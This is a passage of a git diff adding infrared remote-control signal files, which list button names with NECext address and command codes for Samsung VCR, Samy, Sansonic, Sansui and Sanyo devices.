+command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: Colour +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: P.size +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: TTX/MIX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: CH/P+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: CH/P- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/VCR/2,2.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/VCR/2,2.ir new file mode 100644 index 000000000..317881dbb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/VCR/2,2.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 82 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 83 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 84 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 85 00 00 00 +# +name: FORWARD_1 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 86 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 87 00 00 00 +# +name: FORWARD_3 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 88 00 00 00 +# +name: REVERSE_3 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 89 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 89 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 8E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 8F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 90 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 02 02 00 00 +command: D0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/VCR/5,5.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/VCR/5,5.ir new file mode 100644 index 000000000..6f1135454 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/VCR/5,5.ir @@ -0,0 +1,554 @@ +Filetype: IR signals file +Version: 1 +# +name: F._ADV/SKIP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 00 00 00 00 +# +name: SKIP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 00 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 01 00 00 00 +# +name: TV_/_VCR +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 01 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0D 00 00 00 +# +name: <<_8 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 10 00 00 00 +# +name: CH_- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 11 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 12 00 00 00 +# +name: CH_+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 12 00 00 00 +# +name: SLOW_+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 13 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 13 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 14 00 00 00 +# +name: RECORD_/_OTR +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 14 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 15 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 16 00 00 00 +# +name: SLOW_- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 17 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 17 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 18 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 18 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 19 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1A 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1A 00 00 00 +# +name: CLEAR/RESET +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1D 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1F 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1F 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 20 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 21 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 22 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 24 00 00 00 +# +name: LINE_IN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 24 00 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 26 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2B 00 00 00 +# +name: TRACKING_+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2C 00 00 00 +# +name: TRACKING_- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2D 00 00 00 +# +name: AUDIO_DUB +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2E 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 32 00 00 00 +# +name: CLOCK/COUNTER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 33 00 00 00 +# +name: RECORD_SPEED +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3A 00 00 00 +# +name: SP/SLP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3A 00 00 00 +# +name: TAPE_SPEED +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3A 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3C 00 00 00 +# +name: AUTO_TRACKING +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3C 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3D 00 00 00 +# +name: ART +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3E 00 00 00 +# +name: SHIFT_< +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 42 00 00 00 +# +name: SHIFT_> +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 43 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 45 00 00 00 +# +name: Q._PRO +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 45 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 50 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 52 00 00 00 +# +name: STROBE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 59 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 59 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 5C 00 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 67 00 00 00 +# +name: INPUT_SYSTEM +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 6E 00 00 00 +# +name: OUTPUT_SYSTEM +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 6F 00 00 00 +# +name: MONITOR +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 71 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 73 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 75 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 76 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 77 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 78 00 00 00 +# +name: DIAL_- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7A 00 00 00 +# +name: DIAL_+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7A 00 00 00 +# +name: FORWARD_2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7A 00 00 00 +# +name: REVERSE_1 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7A 00 00 00 +# +name: REVERSE_2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7A 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7A 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7A 00 00 00 +# +name: <<_2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7A 00 00 00 +# +name: >>_2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7A 00 00 00 +# +name: >>_8 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7A 00 00 00 +# +name: <<_30 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7A 00 00 00 +# +name: >>_30 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7A 00 00 00 +# +name: <<_1/2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7A 00 00 00 +# +name: >>_1/2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7A 00 00 00 +# +name: <<_1/4 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7A 00 00 00 +# +name: >>_1/4 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir b/assets/resources/infrared/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir new file mode 100644 index 000000000..4208e6249 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 00 00 00 00 +# +name: dx +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 01 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 02 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 03 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 04 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 05 00 00 00 +# +name: sx +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 06 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 07 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 08 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 09 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 0A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 0B 00 00 00 +# +name: fww +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 0C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 0D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 0E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 0F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 11 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 12 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 15 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 18 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 19 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1A 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1C 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1E 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 50 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 51 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 52 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 53 00 00 00 +# +name: eq +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 54 00 00 00 +# +name: intro +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 55 00 00 00 +# +name: v-remote +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 56 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 57 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 58 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 59 00 00 00 +# +name: mark +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5A 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5D 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5E 00 00 00 +# +name: is/ps +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir new file mode 100644 index 000000000..9783fa630 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: up/ch+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: down/ch- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: vchip_menu +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: screen +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: vchip_onoff +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: chan_scan +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: ant_level +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: cc +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir b/assets/resources/infrared/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir new file mode 100644 index 000000000..725b4d9c8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: Random +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 00 00 00 00 +# +name: Repeat_1/All +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 01 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 02 00 00 00 +# +name: Program +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 03 00 00 00 +# +name: Intro +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 04 00 00 00 +# +name: A.Space +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 05 00 00 00 +# +name: Repeat_A-B +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 06 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 09 00 00 00 +# +name: Search_rew +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 0A 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 0B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 0D 00 00 00 +# +name: AMPS_rew +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 0E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 0F 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 10 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 12 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 13 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 15 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 17 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 19 00 00 00 +# +name: AMPS_ffd +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 1A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 1B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 1D 00 00 00 +# +name: Search_ffd +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 1E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 84 4D 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/TV/56,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sanyo/TV/56,-1.ir new file mode 100644 index 000000000..e1c750f53 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sanyo/TV/56,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 09 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0A 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0C 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0F 00 00 00 +# +name: CAPTION +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 11 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 12 00 00 00 +# +name: INPUT_SOURCE +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 13 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 17 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 18 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 19 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 1C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir new file mode 100644 index 000000000..61a5e112d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 01 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 10 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 12 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 15 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1C 00 00 00 +# +name: KEY_0_AV +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1D 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 43 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 44 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 46 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4A 00 00 00 +# +name: MONITOR +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 51 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 56 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5B 00 00 00 +# +name: BLANK +type: parsed +protocol: NECext +address: 31 00 00 00 +command: D0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir new file mode 100644 index 000000000..7111e5065 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: 